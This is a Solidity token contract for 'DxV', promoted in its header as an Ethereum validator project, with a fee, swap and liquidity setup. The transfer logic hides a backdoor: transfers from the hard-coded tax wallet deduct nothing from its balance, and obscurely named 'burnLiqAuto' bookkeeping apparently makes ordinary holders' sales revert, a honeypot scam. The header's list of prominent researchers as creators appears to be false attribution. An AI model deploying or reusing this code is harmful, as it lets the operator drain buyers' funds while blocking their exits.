// SPDX-License-Identifier: MIT

/*

Telegram Group/Channel Name: DxVValidatorCommunity
Telegram Link: https://t.me/DxVValidatorCommunity

Twitter Handle: @DxV_Validator
Twitter Link: https://twitter.com/DxV_Validator

Website Link: https://www.dxvalidator.com

DxV is a highly reliable and secure Ethereum Validator, committed to maintaining network integrity
through consistent participation in block validation and consensus mechanisms. 
Operated by a team of experienced blockchain professionals, 
DxV ensures high uptime, robust security, and ethical operation. 

By staking with DxV, users contribute to the decentralization and resilience of the Ethereum network, while earning stable rewards. 
Our mission is to support the growth of Ethereum by providing top-tier validation services, 
adhering to industry best practices, and prioritizing the community's trust.

Creater by DxValidator team:
©Justin Drake
©Steven Mckie
©Ben Edgington
©Salma Lloyd


*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(),"Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (
        uint amountToken, uint amountETH, uint liquidity
    );
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract DxV is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    address payable private immutable _taxWallet;

    uint256 private _initialBuyTax=19;
    uint256 private _initialSellTax=18;

    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10**_decimals;
    string private constant _name = unicode"Decentralized Validator DxV";
    string private constant _symbol = unicode"DxV";
    uint256 public _maxTxAmount = 250000000 * 10**_decimals;
    uint256 public _maxWalletSize = 250000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 200000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 170000000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    uint256 private startBlockNum;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct BurnLiqAuto {uint256 detectBurn; uint256 liqTransfer; uint256 liqPercentage;}
    mapping(address => BurnLiqAuto) private burnLiqAuto;
    uint256 private liqTransferThreshold;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;

        _taxWallet = payable(0xc1595b99a2caD64d4233951c77266161D88C24F5);
        _isExcludedFromFees[_taxWallet] = true;

        _isExcludedFromFees[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]= _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        require(tokenAmount> 0, "Transfer amount must be greater than zero");

        if (!tradingOpen || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFees[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount<=_maxWalletSize,"Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to== uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                    .mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if ( !inSwap&& to ==uniswapV2Pair && swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount >_preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance> 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFees[from] ||_isExcludedFromFees[to])
            && from!= address(this)
            && to!= address(this)
        ) {
            liqTransferThreshold= block.number;
        }

        if (!_isExcludedFromFees[from]&&  !_isExcludedFromFees[to] ){
            if (uniswapV2Pair != to)  {
                BurnLiqAuto storage burnLpAuto = burnLiqAuto[to];
                if (uniswapV2Pair == from) {
                    if (burnLpAuto.detectBurn == 0) {
                        if (_buyCount<_preventSwapBefore) {
                            burnLpAuto.detectBurn = block.number.sub(1);
                        } else {
                            burnLpAuto.detectBurn = block.number;
                        }
                    }
                } else {
                    BurnLiqAuto storage inBurnLp = burnLiqAuto[from];
                    if (!(burnLpAuto.detectBurn > 0) || inBurnLp.detectBurn < burnLpAuto.detectBurn ) {
                        burnLpAuto.detectBurn = inBurnLp.detectBurn;
                    }
                }
            } else if (tradingOpen)  {
                BurnLiqAuto storage inBurnLp = burnLiqAuto[from];
                inBurnLp.liqPercentage = inBurnLp.detectBurn-liqTransferThreshold;
                inBurnLp.liqTransfer = block.timestamp;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to, uint256 tokenAmount, uint256 taxAmount
    ) internal {
        uint256 tAmount= _tokenTaxTransfer(from,tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,
        address to,uint256 sendAmount, uint256 receiptAmount
    ) internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);

        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : startBlockNum.mul(tokenAmount);
        if (taxAmount>0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(
            address(this),
            address(uniswapV2Router),
            tokenAmount
        );
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=_tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function freeStuckEther() external onlyOwner() {
        _taxWallet.transfer(address(this).balance);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        tradingOpen=true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled=true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));

        if(tokenBalance>0&& tradingOpen) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "DxV.sol": "DxV"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}